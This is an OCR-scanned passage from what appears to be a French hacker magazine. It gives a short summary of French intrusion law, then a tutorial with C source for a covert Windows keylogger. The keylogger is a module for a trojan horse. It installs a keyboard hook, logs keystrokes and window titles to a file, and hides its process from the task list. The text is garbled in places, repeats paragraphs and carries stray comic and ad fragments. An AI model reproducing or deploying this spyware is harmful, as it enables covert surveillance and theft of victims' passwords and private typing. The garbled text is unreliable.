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Ce que dit la loi en France

« Laccas et |e maintien frauduleux total ou partiel
fians tout ou partie d'un systeme ou delit d'intrusion
est puni par I'article 323-1 d°un an d'emprisonne-
ment et e 100 000 francs d'amende ».

En France, I’arme principale de I'arsenal juridique disponible contre
les hackers demeure la loi Godfrain du 5 janvier 1988 « relative
ala fraude informatique ». ce texte prévoir notamment que
« |'accés et lemaintien frauduleux total ou partiel danstout ou par-
tie d'unsysteme oudélit d’intrusionest puni parl'article 323-1 d'un
an d’emprisonnement et de 100 000 francs d'amende », Ce délit
est constitué déslorsque n'importe quelle technique estemployée
pour accéder frauduleusement a un systéme protégé. Il I’est
aussi dans le cas de I'utilisation d’un code d'accas exact, mais
- par une personne non aulorisée  Putiliser,

La loi prévoit aussi gue si I'aceés ou le maintien frauduleux
dans le systéme eniraine la suppression ou la modification de
dunnéss, ou méme une simple altération, méme involontaire
ou par. maiﬁﬂfesss. les peines sont doublées. |

_'_l_,ursque_ I'action est volontaire, I'article 323-2 prévoit 3 ans

d’emprisonnement et 300 000 francs d'amende. La encore, la
loi texte vise tous les procédés et toutes les techniques utili-
sées, méme celles inconnues au moment de la rédaction de la
loi. Cette disposition vise aussi Ia propagation de virus infor-
matique.

I faut savoir que la simple tentative, non suivie de réussite
donc, est punie des mémes peines. En outre, les persannes
physiques coupahbles d’un de ces délits encourent, en plus de la
peine principale, des peines complémentaires énumérées 4
Iarticle 323-5.

Les personnes morales, comme les entreprises ou les associa-
tions, peuvent elles aussi élre déclaréesresponsables pénalement
et encourent les peines prévues a I'article 131-39 du nouveau

code pénal.
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| Hackerz-Voice Rempte Control ]-

~ Suite au succes du cheval de troie HZV, paru dans Hackenrz-Voice 4, fue vous avez
été nombreux, semble-t-il, a apprécier, on a décidé de continuer dans la lancée.
Pour le moment, c'est moi qui prends la reléve de FozZy et de <d.ignis> en ce qui
concerne la programmation. -

Au programme, réguliérement, un nouveau module en C, sous forme de fonctions, a ajouter au code source déja disponible sur le
net(ct webring !). Le but est d'arriver ainsi, au fur et & mesure a construire ensemble un vrai cheval de trofe, digne de c¢ nom, c'est
dire capable d'écouter les touches frappées au clavier, de prendre une copie d'écran a distance, de transférer des fichiers entre le client
et le serveur, de modifier Ia base de registre... Enfin tout ce qui est techniquement et raisonnablement possible de faire. Si vous avez des
idées ou méme des suggestions, n'hésitez pas, contactez-moi sur kickerman@caramail.com

Dans ce numéro, nous allons commencer par implémenter un Keylogger, un petit espion capable d'enregistrer dans un fichier toutes
les touches frappées au clavier d'une machine. Ce type de programme est largement utilisé, en partieulier par le FBI, car il permet de
contrer tous les dispositifs de cryptage en prenant les informations directement a la source. Il est done intéressant des'y attarder.
Comme ce Keylogger est destiné & intégrer le cheval de troie HZV, il se doit d'étre le plus petit possible, pour rester discret, C'est pour-
quot j'ai fait le choix d'utiliser toujours les structures de base du C et fion les MFC (Microsoft Foundation Classes). Les adeptes de
Visual C++ comprendront combien il est dur de résister & la tentation car I'utilisation des MFC simplifie la tache du programmeur.
Mais en contrepartie, la taille du programme augmente d’environ 200 Ko. ., '

Voila une réponsed ceux qui se demanderaientmine de rien pourquoi on s'obstine  utiliser du C standard, Et non je ne fais pas ¢a par
plaisir, c'est le prix de I'optimisation. Vous avez déja vu un cheval de troie de 400 Ko passer inapergu ?

I-Magut'e 1: objectit Keylogger

~ Avant de continuer plus loin votre lecture, je vous
invite a venir prendre connaissance tu code source
compiet du Module Keylogger sur http://www.multi-
proj.ir.st (site membre du Webring HZV) afin de
vous faciliter Ia comprehension de ce qui va suivre.
En effet Il nous gst impossible de le faire tenir ici
faute de place. :

RESUME 3 JACK ET LooLA ONTEEE CONTACTES
PAR LE PERE DE VACK , ECRAN NOIR, QU ON
CROYAITMORT.IL LES CONDITT DANS L€ Mow oe
JCesT LA QUE Sg TRouvE LA VERI

TARLE SoURCE TE RéaLTE VIRWELLE UTRA
lconpensée. LES \NFORMATICIENS QUi |
L oWt DECOUVERTE. oNT UTILISE LENERGIE
QUELLE PRoDUIT; L/ETRANGE, COMME CARBU-
RANT DUNE MACHINE MYSTERIBUSE QU'ILS ONT|
FOBRIGUEE DANS LE TERRITOIRE TES LIMAES)
[CES INFoRMATICIENS, QUI SONT" LES CHEFS| -
ECRETS ES ORCES OF LORDRE NUMERIQUE |
DOMINENT LINIVERS GRACE A LEIRS MANIA)]
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Je vous l'accorde, je ne commence peut-étre pas par le plus facile avec le Keylogger. Mais bon, tout de méme, ¢a se mérite ! Pour com-
prendre comment on va procéder, il faut un minimum de connaissances en programmation C, pour Win32 et puis si vous aviez
" quelques notions sur la programmation des DLL... Bon d'accord je vais essayer de vous expliquer tout ca.

Le probléme posé ici est de savoir quand est-ce qu'une fouche est tapée. et quelle est cette touche. Une fois de plus je remercie Microsoft
(vous allez comprendre pourquoi). .

11 faut savoir que Windows permet & n'importe quelle application de définir un HOOK. Un Hook (en frangais 'crochet') est un point
particulier dans le mécanisme de gestion des messages Windows ot une application peut installer un sous-routine dans le but d'obser-
ver les messages émis vers les autres applications. En fait, un Hook vous permet d'intercepter, et donc de modifier ou méme de
supprimer un message avant qu'il atteigne l'application 4 laquelle il est destiné, On peut aussi se contenter de simplement lire le
contenu de chaque message que l'on intercepte de maniére totalement transparente pour le reste du systeme.

Les fonctions qui sont chargées de recevoir les messages interceptés sont appelées fonctions filtres et sont distinctes selon le type de
messages qu'elles interceptent. ;

Je vous l'accorde, je ne commence peut-€tre pas par le plus facile avec le Keylogger. Mais bon, tout de méme, ¢a se mérite ! Pour com-
prendre comment on va procéder, il faut un minimum de connaissances en programmation C, pour Win32 et puis si vous aviez
quelques notions sur la programmation des DLL... Bon d'accord je vais essayer de vous expliquer tout ¢a,

Le probleme posé ici est de savoir quand est-ce qu'une touche est tapée, et quelle est cette touche. Une fois de plus je remercie Microsoft
(vous allez comprendre pourquoi). 2 . y

11 faut savoir que Windows permet a n'importe quelle application de définir un HOOK. Un Hool (en frangais 'crochet') est un point
particulier dans le mécanisme de gestion des messages Windows ol une application peut installer un sous-routine dans le but d'obser-
ver les messages émis vers les autres applications. En fait, un Hook vous permet d'intercepter, et donc de modifier ou meéme de
supprimer un message avant qu'il atteigne I'application a laquelle il est destiné. On peut aussi se contenter de simplement lire le
contenu de chaque message que l'on intercepte de maniére totalement transparente pour le reste du systéme.

Les fonctions qui sont chargées de recevoir les messages interceptés sont appelées fonctions filtres et sont distinctes selon le type de
messages qu'elles interceptent. ;

Type de Hook - Les messages interceptés concernent :

WH_MSGFILTER Les MessageBox, boites dialogue, menus et barres de défilement
WH_SYSMSGFILTER | Idem

WH_GETMESSAGE . Tout (sous-routine déclenchee par GetMessage ou PeekMessage )
WH_CALLWNDPROC Tout (sous-routine déclenchée par SendMessage )
WH_JOURNALRECORD Le clavier et la souris (messages en lecture seulement) et sont des-

tinés a étre enregistres

WH_JOURNALPLAYBACK Ce Hook permet de re-émettre des messages enregistrés par un Hook
_ . WH_JOURNALRECORD. Ce Hook sert par exemple pour les macros.

WH_KEYBOARD ? Le clavier (contréle total :)
- WH_MOUSE La souris (controle total :)
WH_GBT - Toutes les opérations affectant les fenétres : création, réduction
agrandissement. (Ce type de Hook est tres puissant.)

WH_DEBUG Les Hooks eux-mémes ! (vous pouvez court-circuiter n'importe quel
type de Hook avec un Hook WH_DEBUG) _
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Pour mettre en place notre Keylogger nous allons utiliser un Hook WH_KEYBOARD. Mais ¢a, je pense que vous I"aviez déja deviné.
La fonction SetWindowsHookEx permet de définir de maniére relativement simple n’importe quel type de Hook. Elle prend en comp-
te plusieurs arguments, au nombre de quatre, et a le prototype suivant :

HHOOK SetWindowsHookEx(

int idHook, /fle type de Hook 4 installer, ici : WH_KEYBOARD
HOOKPROC lpfn, /1" adresse de la fonction filtre, castée en HOOKPROC
HINSTANCE hMod, //Handle de I"application contenant la fonction filtre
DWORD diw Threadld /[Thread associé, ici misa 0

);

Sila définition du Hook réussit, la fonction retourne le Handle du Hook que I'on vient de définir, sinon elle retourne 0.
EXE ou DLL ?

La fonction filtre peut-¢tre placée dans differénts types d’exécutables. Elle peut appartenir & un programme normal (.EXE), on dit
alors que le Hook est un Hook de Thread, c'est & dire qu’il est implémenté dans I'application qui I’a définie ; ou bien appartenir a une
DLL, on dit alors que le Hook est un Hook systéme. .

Une DLL(Dynamic-Link Library) se différencie d'un EXE standard du fait que ses fonctions, compilées sont séparées du programme qui
les utilise et qu'elle s'exécute dans son propre espace mémoire. Elle ne peut cependant pas fonctionner sans étre appelée par un exécu-
table. L'intérét de placer notre fonction filtre dans une DLL est simple : les fonctions filtres systémes ont la priorité sur les auttes fonc-
tions filtres. De plus, leur exécution est plus fiable que celle des filtres de thread (j"ai testé un Hook de Thread qui interceptait mal,
voire pas du tout les touches frappées sous Windows 98...). ;

Notre fonction filtre (systéme)va donc résider dans une DLL, et Ie programme, une fois compilé, pourra fonctionner sans probleme
sous Windows 95 et.98 aussi bien que sous Windows XP. :

Se polse.m’aili'ls'e\ﬁaﬁ-i"}e brohléix!e d’obtenir le Hi"a:ndle dela DLL, pour pouvoir remplir I'argument /1}fod (HINSTANCE) de la fonction
SetWindowsHookEx qui nous permet fa création du Hook. Pour cela, étudions le prototype de la procédure D//\ain des DLL (I'équi-

?.{&;!egt de main() pour un exéeutable) :

BOOL APIENTRY DiIMain(HINSTANCE hlnstance, DWORD ul_reason_for_call, LPVOID [pReserved) ;

Une rapide observation indique que hinstance transmet le Handle de I'instance de la DLL. Parfait, ¢’est exactement ce qu’il nous fal-
lait, deja un premier probleme de résolu. Mais ce n’est pas finit ... _

Lorsque la DEL est hiée 4 un exécutable avant de pouvoir &tre utilisée, ¢’est cette procédure qui est appelée(1” cas). Elle'est également
appelée lorsque le programme n'a plus besoin de la DLL(2 cas), pour lui permettre un nettoyage éventuel de sa mémoire. Le para-
metreul_reason_for_call (DWORD).nous permet de déterminer quel est 'objet de I'appel :

Extrait
switel'(ul_reason_for_calt)

d

case DLL_PROCESS_ATTACH :
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/%17 cas : la DLL est liée & un exécutable avant de pouvoir étre utilisée*/
break; :

case DLI._PROCESS_DETACH: :
/25 cas : le programme n’a plus besoin de la DLL, nettoyage de la mémoire si nécessaire...*/
break;
1
!
C'est 1a que je vais voir si vous avez bien suivi mon conseil... Alors, toujours pas le code source du-module sous les yeux ? Vous ne
pourrez pas dire que je ne vous aurais pas prévenu... -

Bon ceux qui sont toujours 1a ont sirement remarqué que le meilleur endroit pour prendre note du Handle hinstance de la DLL, c’est

dans le cas d’un appel de type DLL_PROGESS_ATTAGH. A ce moment 14, nous avons deux alternatives :

1. Soit-on se sert directement de hinstance pour appeler SetWindowsHookEx et créer tout de suite le Hook (peu pratique)

2. Soit-on garde en mémoire hlnstance dans une variable de type static et on reporte 'appel de SetWindowsHookEx pour la création
du Hook a plus tard. (plus polyvalent).

C'est la deuxiéme possibilité que nous allons choisir, ce qui nous améne 4 ce qui suit :
Extrait de cHZV Kevloger DLL.cpp:
static HINSTANCE hDLLInstance; //Variable statique globale

[-] | ,

case DLI,_PROCESS_ATTACH: - :

hDLLInstance = hinstance; /“Garde en mémoire I'instance pour SetWindowsHook()*/
break;

m Création du Hook... :

Maintenant que le Handle hinstance de la DLL est disponible & tout moment nous allons pouvoir 'utiliser pour créer un Hook a 1'ai-
de de la fonction SetWindowsHookEx dont nous avons étudié le prototype précédemment. L'appel de SetWindowsHookEx se fera
dans une fonction exportée de la DLL pour plus de commodité. :

Extrait de cHZV Keyloger DLL.cpp
_teclspec(dilexport) int Start_HZV_Keyloger(void)-

hook = SetWindowsHookEx(WH_KEYBOARD, /*type de Hook™/
(HOOKPROC)hzyKeyboardHook, /*Adresse de fa fonction filtre®/
hDLLInstance, /“Instance hinstance de la DLL*/
0); *Thread associe, icimis & 0/

return ((hook!=0)?1:0); #Retourne | si touf se passe bien, sinon retourne 0%/

1

§

Si la creation du Hook réussit, la fonction retourne 1, sinon elle retourne 0.

Le préfixe declspec(dllexport) devant le nom de la fonction signifie qu'elle est exporteée, c'est 4 dire qu'elle n'ést pas réservée i I'usa-
geinternedela DLLetqu'elleest destinée a étreutilisée directement par le programme. Cependant ce préfixe nesesuffit pasaluiseul puisque
les fonctions exportées doivent aussi étre déclarées dans le fichier Header de la DLL. :
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Extrait de cHZV Keyloger DLL.h:

CHZV_KEYLOGER _DLL_APlint Start_HZV_Keyloger(void): /*Déclare la fonction comme étant exportée. S'utilise conjointe-
ment avec le préfixe_ declspec(dilexport) */
[--]

Une fois le Hook créé, il va falloir que le programme continue son exécution aussi longtemps que I'on voudra que la DLL reste en
memoire, donc que le Hook reste présent dans le mécanisme de gestion des messages Windows, et donc le keylogger actif. Observons la
fonction WinMain de de cHZY_Keyloger.cpp : 5

/ Déclaration WinMain standard™/
int APIENTRY WinMain(HINSTANCE hlnstance, HINSTANCE hPrevInstance,

LPSTR IpCmdLine, int nCmdShow)
{ :
Show_HZV_Keyloger_Version(); /*Affiche la version du Keylogger par appel d’une fonction exportée de la DLLY/
int resultat = Start_HZV_Keyloger(): /*Définit le Hook toujours par appel appel d’une fonction exportée de la DLL*/
if(resultat== ]{. \
MessageBox(NULL."Impossible de définir le Hook","Hzv Keylogger".MB_0K):
else{ /* Si la définition du Hook a réussi.. . */
while(1) {
/*alors on entre dans une boucle infinie...*/
int attend_frappe=1; )
Sleep(10); /*Suspend I"exécution pendant 10 millisecondes pour décharger le CPU?/
1 2 ?
J
Creturn 0;
} b

Pour que le programme reste indéfiniment en cours d’exécution, il suffit de le faire entrer dans une boucle infinie (while(1){...}).
Cependant en consultant I¢ gestionnaire des tiches de Windows, je me suis apergu que I'utilisation du processeur grimpait en fleche
lorsque je démarrais le Keylogger, ce quiaurait pu alerter I'utilisateur comme je I’ai été. J'ai alors ajouté I'instruction Sleep(10) ;
chargeée de suspendre I'exécution du programme pendant 10 millisecondes dans la boucle infinie et la charge du processeur est retom-
bée de 99% a 1%. Si vous avez le méme probléme avec un de vos programmes, vous savez comment le résoudre maintenant ) -

Pour maintenir le Hook en place, jai aussi pensé 2 mettre cette boucle infinie de sorte qu’elle soit uniquement appelée lors d’un appel
de type DLL_PROCESS_DETACH afin d’empécher la DLL de se terminer, mais mes efforts se sont immédiatement vus couronnés
d’un écran bleu. La fagon la plus simple de garder le Keylogger actif est donc d’utiliser une boucle infinie au niveau du programme de
lancement de la DLL (¢HZV_Keyloger.exe) comme Iillustre le code source ci-dessus.

m La fonction filtre hzvKeyboardHook() - :
Maintenant que nous avons vu comment maintenir I'exécution du programme indéfiniment, nous allons concentrer nos efforts sur le
coeur du Keylogger : la fonction filtre. Observons tout d’abord le prototype de la fonction filtre hzvKeyboardHook() :

; LRESULT CALLBACK hzvKeyboardHook(int nCode, WORD wParam, DWORD IParam )




e

La premiére chose 4 relever ¢’est que cette fonetion & une valeur de retour de type LRESULT, c’est a dire un LONG, un entier signe, de
32 bits, qui a son utilité comme nous allons le voir ci-dessous. Ensuite, le préfixe CALLBACK signifie que notre fonction est une fone-
tion de type ‘CALLBACK’, destinée a étre appelée par Windows, et non pas par une application. C’est le cas des fonctions filtres, et ¢’est
la raison pour laquelle elles sont parfois apparentées a des fonctions GALLBACK ordinaires. Plus loin, le paramétre int nGode est des-
tiné 4 informer le programme du statut du message (ici concernant le clavier) intercepte, 4 savoir si ce dernier a été ou non enlevé de la
chaine des messages Windows par une autre application suite a un appel de la fonction PeekMessage (fonction qui sert a &tre informé
des messages regus par une autre fenétre). Si PeekMessage a éte appelée avec I'indicateur wRemoveMsgmis & PM_NOREMOVE alors
le message n’est pas supprimmeé de la chaine de messages ; sinon. si I'indicateur wRemoveMsg est mis a PM_REMOVE, alors le message
I’est. Ensuite, le parameétre wParam (WORD) transmet au programme le code virtuel (virtual-key code) de la touche qui est & I'origine
du message. Ce paramétre est le plus important, ¢’est grice & lui que nous pouvons obtenir le code Ascii de la touche afin de la repré-
senter de fagon intelligible par I’homme aprés I'avoir converti comme nous allons le voir plus bas. Enfin, le paramétre IParam
(DWORD) combinéavec différents masques permetd’obtenir quelques informationssupplémentaires sur lemessage, commenousl’apprends
I"article concernant la fonction filtre KeyboardProc (nom donné par Microsoft & sa fonction Hook de type WH_KEYBOARD) tiré de
la MSDN library. Selon ce dernier, /Puram specifie selon sa valeur : : 1

- Le nombre de répétitions de la touche (/Param allant de 0 a 15) _

- Le scan-code (valeur qui permet d’identifier physiquement une touche sur le clavier) de la touche (/Param allant de 16 4 23)

- Le type de la touche concernée : spécial ou non, comme la touche F1 (/Param vallant 24) '

- Le conlexte de la touche, ¢’est a dire si elle est ou non combinée & la touche Alt (/Paran vallant 29)

- L'état précédent de la touche, appuyée ou non (IParam vallant 30) et sa transition : si elle est en train d’étre appuyée ou relachée
([Parani vallant 31). :

Je vous laisse réfléchir & Ia précision des informations qu'il est possible de récupérer grice a ce Hook.

Nous allons maintenant effectuer une analyse linéaire de la fonction pour comprendre comment elle procéde.

En premier lieu, on prépare la valeur de retour de la fonetion une bonne fois pour toute :

« LRESULT NextHook = CallNextHook Ex ( hook, nCode, wParam, [Param ) ;» en passant le message au Hook suivant dans la chaine
des messages Windows. Cette étape est nécessaire pour que le systéme de Hook continue de fonctionner correctement, et peut ce faire
indistinctement avant ou apreés avoir traité de le message dans notre fonction filtre. La fonction "CallNextHookEx" retourne une
valeur codée sur 32 bits (LRESULT) que I'on va renvoyer, pour terminer notre fonction filtre au moment venu ("refurn NextHook,").
Ensuite, il est important de vérifier si la touche qui nous est passée n'a pas déja été traitée (si c’est une répétition). Pour cela, on se sert

* de IParam combiné avec un masque ET logique :

“if (! ((DWORD) [Param & 0x40000000) ) .

return NextHook: /*Si ¢ 'est une répétition alors on termine et on passe la main & un autre Hook /*"
Nous allons ensuiter ouvrir le fichier dans lequel le keylogger va enregistrer les touches tapées.
"Write=fopen (hzvKEYLOGER_LOG_PATH,"a+");" _ |
Son chemin d*accés est déterminé par la variable (que nous avons définie juste aprés les inclusions des fichiers headers) ; "char® hizy-
KEYLOGER_LOG_PATH ="¢:\\windows\\bureai\Key-logs.txt"; " .
Puis la fonction filtre appelle la fonction "CheckWindowChange();" chargée d’inscrire dans le fichier log le titre de la fenetre active
dans laquelle les touches sont tapées. Ce qui pourra paraitre a certains.un gadget s'avére en fait étre un petit plus pour qui veut com-
prendre qui appartient a quoi dans le fichier log. La fonction se comporte selon un principe simple : si le titre de la fenétre active a
changé alors on I'inscrit dans le fichier log, sinon ¢’est que ¢’est toujours la méme fenétre qui est active et on ne marque rien. Pour gar-
der note du texte de la derniére fenétre active entre les appels de la fonction on utilise une variable statique ;

"static char LastWindowText [256]="; "(déclarée juste en dessous de hzvKEYLOGER _LOG_PATH pour ceux qui ont le code source
sous les yeux). Voici notre fonction : ; 3 ;

"int Check WindowChange (void)

{

ET PouR LES)]
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HWND hzvHwnd = GetActiveWindow () ; [*récupere le Handle de la fenétre active™

char hzvTitleBuf[256]; Iprépare un buffer pour récupérer le titre de la fenétre active : /| :

GetWindowText (hzvHwnd, (LPTSTR) hzvTitleBuf; 255); FRécupére le titre de la fenétre active grdce & son Handle et stoguie
son titre dans havTitleBuf ¥/

if( stremp (hzvTitleBuf LastWindowText) ) [%Si le titre de la fenetre active a changé*f

strepy (LastWindowText, hzvTitleBuf) ; [* alors remet & jour LastWindowText, */

char message[300] - "prépare une variable tampon pour utiliser wsprintf*/

wsprintf(message, "\n\n== Hzv Keyloger by KicKEr

==> Fenetre "%s"\n",havTitleBuf); I*et formate le titre de la fenéire et le message a insctire dans le fichier log. Vous pouvez

aussi ajouter 'heure si besoin, .}/

WriteSpecialMsg (message); et enfin inscrit ce message dans le fichier log*/
1
i

return 0;

" .
La fonction "WriteSpecialMsg" sert 4 enregistrer dans le fichier un message quelconque. On s’en sert dans la fonction "Check-
WindowChange" (cf. ci-dessus) mais aussi plus loin dans la fonction filtre pour symboliser les touches spéciales comme nous allons
le voir. C’est une fonction trés simple : - 3
"1* Exemple de fonction privée  usage interne de la DLL (non-exportée) */
int WriteSpecialMsg (char msg[])

char charactere;
int len=strlen (msg);
Jor(inti=0; i<len;i++) I"poun chaque caractére dit message @ envegistrer ... %

charactere=msglif; on Uisole ... */
Jwrite(&charactere, 1,1 fWrite); [eton ['enregistre dans le fichier log. ¥/
i

return 0;
:}.E_l'. :
= Revenons a notre fonction filtre-
Ensuite, on entre dans la partie la plus importante de la fonction filtre, & savoir le "switch(wParam)" qui va nous permettre d’agir dif-
feremment selon le touche a laquelle nous avons affaire. C'est d dire selon que la touche a traiter est une touche ‘spéciale’ comme
Ctrl, ALt Suppr, Entree, etc... ou bien une touche alphanumérique comme ‘afz/ A$Z / 159°. Si la touche est une touche spéciale
alors on essaye de la symboliser afin de I'enregister dans le fichier log. Ainsi la touche Ctrl devient [Ctr1], Ia touche Suppr : [DEL], les
touches direetionnelles comme la fleche gauche : [<-] etc... Ce qui est mis en pratique par le code suivant ; s

“switeh (wParan)

Ftouches speciales ¥/

case VK_RETURN. WriteSpecialMsg("\n");  break; /ftouche Entrée ¥/

case VK_CONTROL: WriteSpecialMsg (" [Cril] ") break: Frowche Ciyl JAlACrl<=>A1tGr*
case VK. MENU : WriteSpecialMsg("{Alt]"); break; I"touche Alt %7
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case VK_DELETE: WriteSpecialMsg("[DEL]"); break; /*touche Suppr*/
case VK_BAC: WriteSpecialMsg("'[<===)]"); break; *touche Effucement *
1*[...] et ainsi de suite ... %"
Si, par contre, la touche est une touche alphanumérique alors on se contente de récupérer sa représentation habituelle :
" Frouches alphanumériques :*/ '
default:
BYTE HZVkeyboard_state[256];
GetKeyboardState (HZVkeyboard _state);
WORD wBuf:
UINT ScanCode=0;
ToAscii (wParam,SeanCode, HZ Vieyboard _stare, &wBuf,0) ;
ch=((char)wBuf) ;
fivrite(&eh,sizeof (ch), 1 ,fWrite); enregistre la représentation de la fotiche®/
break;
n
‘Pour cela, on utilise la fonction HZVkeyboard_state :
int ToAscii( UINT uVirtKey, /*1 *
UINT uScanCode, /*2 ¥/
PBYTE lpKeyState, 1*3 %/
LPWORD [pChar, /%4 */
UINT uFlags /*5 ¥ );

Elle nécessite plusieurs paramétres pour étre appelée :

1. Le code virtuel de la touche (virtual-key code) qui identifie la touche sur le clavier, de fagon interprétable par le driver de clavier
Windows. Dans notre fonction filtre, nous allons transmettre pour cet argument, la variable wParam '
2. Le Scan-code de la touche, identifiant la touche physiquement sur le clavier. Dans notre cas, ce paramétre est mis a 0
3. Un pointeur vers un tableau de 256 octets refletant I’état actuel du clavier (touches pressées, relachées ...)
Ce tableau est obtenu gréce a 'appel de la fonction GetKeyboardState(), qui nécessite qu’on lui passe en unique argu- -
ment un pointeur vers un tableau de 256 octets. Ainsi, pour récupérer I’état actuel du clavier on écrira :
"BYTE HZVkeyboard_state[256]; /*créé un tableau de 256 octets ... */
GetKeyboardState(HZVkeyboard_state); /* et y sauvegarde |'état actuel du clavier™/"
Si I'appel ne réussit pas, la fonction retourne zéro, sinon elle retourne une valeur autre que zéro.
Dans notre cas, on va donc passer le tableau HZ Vkeyboard_state en troisiéme paramétre, -
4. Une variable qui va servir de buffer pour stocker la représentation de la touche retournée par la fonction ToAseii. On utilisera un
WORD (entier de 16 bits, non signé), nommeé wiuf. '
5. Et enfin, une variable spécifiant si un menu est actif. Nous mettrons cette valeur a zéro.

Ce qui nous améne & ce qui suit :

WORD wBuf; /*entier de 16 bits, non signé, desting 4 recevoir la représentation de la touche®/
UINT ScanCode=0; /*Scan-code de la touche®/ : :
ToAscii(wParam,ScanCode, HZVkeyboard_state,&wBuf.0); /*appelle ToAscii pour Ia conversion®/

"
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Ensuite, il nous faut convertir wBuf pour obtenir la représentation de la touche sous forme de variable de type char (caractére) pour

pouvoir plus facilement I"enregistrer dans le fichier :
"char ch; /definit une variable de type char (caractere sur 8 bifs)*/

[-..]
ch=((char)wBuf); /*caste wBuf (WORD) en variable de type char®/

Note.:
Laconversionde typeseffectued I"aidedece que "on appelle un cast. Un casts’effectuesous laforme: Variable_du_nouveau_type = (nou-
veau_type) Variable ancien_type

Maintenant, il n¢ nous reste qu’a enregistrer la représentation de la touche dans le fichier et le tour est joué :
“fwrite(&ch,Sizeoi(ch), 1,fWrite); Fenregistre la représentation de la touche®/

Il ne nous reste plus qu'afermer le fichier log : "fclose(fWrite); "et & passer la main & un autre Hook :
"return NextHook; //Passe Ta main 4 un autre Hook"

m Comment cacher I'exécution du Keylogger...

Voila, on approche de la fin de cet article, mais avant de vous laisser. j"aimerais aborder un point qui a été volontairement laissé en sus-
pend par Fozzy et <d.ignis>, celui de la furtivité du cheval de Troie et plus généralement d'un programme, sous Windows. Dans notre
cas, il faut que le Keylogger n’apparaisse pas lorsque Iutilisateur presse Ctrl-+Alt+Suppr.

Pour cacher une application de la liste des programmes en cours, il faut appeler la fonction "RegisterServiceProcess'". (Cette fonction
permet aussi & une application de continuer son exécution apres la fermeture de la session de I'utilisateur.) Le probléme est que cette fone-

tion RegisterServiceProcessnest pas une API "standard", au sens propre du terme, et n'est donc pas utilisable par un appel direct .
de la fonction. Pour I'utiliser, il faut d’abord obtenirun pointeur vers la DLL Kernel32.dll puis se servir de ce pointeur pour appeler la Y

fonction RegisierServiceProcess présente dans cette derniére. Le code source suivant présente la maniére de procéder.
"int hzvRégis%-érSe1‘viceProce$s( DWORD paraml, DWORD param2 )

~ typedef DWORD (WINAPL “hzv_R_SERVICE_PROCESS)(DWORD,DWORD); /*crée un nouveau type pour nous permetre d’ap-
' i : peler RegisterServiceProcess®/

hzy_R_SERVICE_PROCESShzv_rsp; /crée une variable de type hzv_R_SERVICE PROCESS?/
char Kernel32_path[255]; #*buffer pour stoquer I'adresse de la DLL*/ :
HINSTANCE hKernel32; /*handle retourné par LoadLibrary pour accéder au fonctions de la DLL chargée en mémoire, ici Kernel32.dII*/
int Resultat; /* valeur de retour de la fonction */ '

Resultat = 0; Fici mis 4 zéro (c’est a dire : errenr) avant de commencer les opérations*/
GetSystemDirectory( Kernel32_path, 255); /récupére le chemin d’accés complet & ka DI Kernel32.d11¥/
streat( Kernel32_path, "\Wkernel32.d11" ); /*y ajoute \kernel32.41l pour que le chemin soit complet™/
hKernel32 = LoadLibrary(Kernel32_path); /*charge la DLL en mémoire, récupére un handle vers cette derniére pour pouvoir
appeler ses fonctions™ . ;
if{ hKernel32 !=NULL) { .
hzy_rsp = (hzv_R_SERVICE_PROCESS)GetProcAddress(hKernel32," RegisterServiceProcess"); /* si le handle semble étre cor-
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rect alors on récupére I'adresse de la fonction RegisterServiceProcess */ -
if( hzv_rsp != NULL ) } #si on a bien réussit 4 obtenir I"adresse de la fonction. .. */
Resultat = 1; “on met Iz valenr de refour de I fenction | (succes)™/
hzv_rsp(param|, param?2 ); /appelle la fonction RegisterServiceProcess grice d son adresse */

FreeLibrary(hKernel32); Msignale que notre programme n’a plus besoin de Ia DLL. 51 plus ascun programme ne se sert de cetie
dermitre alors elle st déchargée de la mémoire®/ '

return Resultat; Msignale. si la fonction a bien réussit a remplir sa tiche ou non*/

f*Mercidhitp//proerammer multimania com/cours him pour lesexemples trésinstructi misadis wosition. Jevousconseilledaller y jeter
LV 31104 Hish i i}

un coup 4wl st vous avez ua peu de temps.*/
" ¥ :

}

Nous avons donc créé une nouvelle fonction pour simplifier les interactions avec le systéme. Pour appeler

RegisterServiceProcess. il suffit maintenant d’appeler notre fonction havRegisterServiceProcess. Ainsi pour cacher notre programme
il faut écrire : " RegisterServiceProcess(0,1); " Le premier paramétre(O) signifiant que le programme a cacher est le notre, le second
(1) signalant que I'on désire donner & notre programme le statut de service. Si hzvRegisterServiceProcess est appelée avec la valeur 1
en seconde parameétre, le programme redevient un programme ordinaire et redevient visible aux yeux de 'utilisateur.

u [FIN)

Cette fois, ¢’est vraiment termine. -:(

Dans un prochain numéro, nous verrons comment optimiser notre programme pour réduire sa taille a quelques Ko de sorte gu’il soit
encore plus discret. Sivous avez des suggestions de module, ou des idées, n’hesitez pas, je le répéte encore, envoyez moi un mail. Ne
perdez pas de vue que le cheval d¢ troie sera celui que I'on aura fait tous ensemble. y

Au fait, je ne I'ai pas dit plus tot parce que cela me semblait evident, mais, vous pouvez utiliser librement le code source du Keylogger
et le modifier sans rien me demander (for non-commercial usage enly ;). Bien sir si vraiment le code vous a été trés utile, vous pouvez
toujours m'envoyer un email -:)

Et puis, pour ceux d’entre vous, qui débutent, qui ne programment pas encore en C, ou qui ne sont pas familiers avec les interactions et -
messages Windows, vous pourrez trouver un autre Keylogger basé sur un autre systéme quesur I'utilisation des Hooks, plus simple
comprendre, sur http://www.multiprog.fr.st. Ce Keylogger a été écrit en Visual Basic, il est egalement accompagné par un de mes
articles, pour vous guider. ' ‘

A ceux qui me disent que le basic est un langage dépassé et de "seconde catégorie”, je répondrai que la simplicité de son utilisa-
tion peut permettre & un néophyte de comprendre le fonctionnement d’un programme, et honnétement, a mes yeux, ¢’est tout ce qui
compte. Je leur demanderai donc de bien vouloir méditer la question plus en profondeur, ' ;

Sources et lectures conseillées :
-hitp://www.codsproject.com/dll/hooks.asp.
-hitp.//www.codeproject.com/useritems/apihijack.asp
-hitp://programmer.multimania.com/cours.fitim
-http./www.codeproject. com/dll/ultimate_dll_headerasp )
-MSDN Library : Win32 Hooks :

.:}
= ' : KicKEp
2001-2002
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Multimania

BANNIERES DE PUB EN LHEBERGEMENT GRATUIT

COMMENT S'EN DEBARRASSER ?

Multimania (www;mnltimania.fr] est un portail de services weh dont Uhébergement gratuit de sites personnels est Uune de
ses activités motrices (selon eux, le nombre s'eléverait a plus de 7 millions de sites hébergés), Et dont vous avez siirement déja
ail visiter Uun de ces sites hébergés dont Uadresse est du style : http:\\monsite.multimania.com et bien ce sont eux . Vous

Voyez maintenant!

Multimania permet «’hébergement gratuit» desites Internet gréice
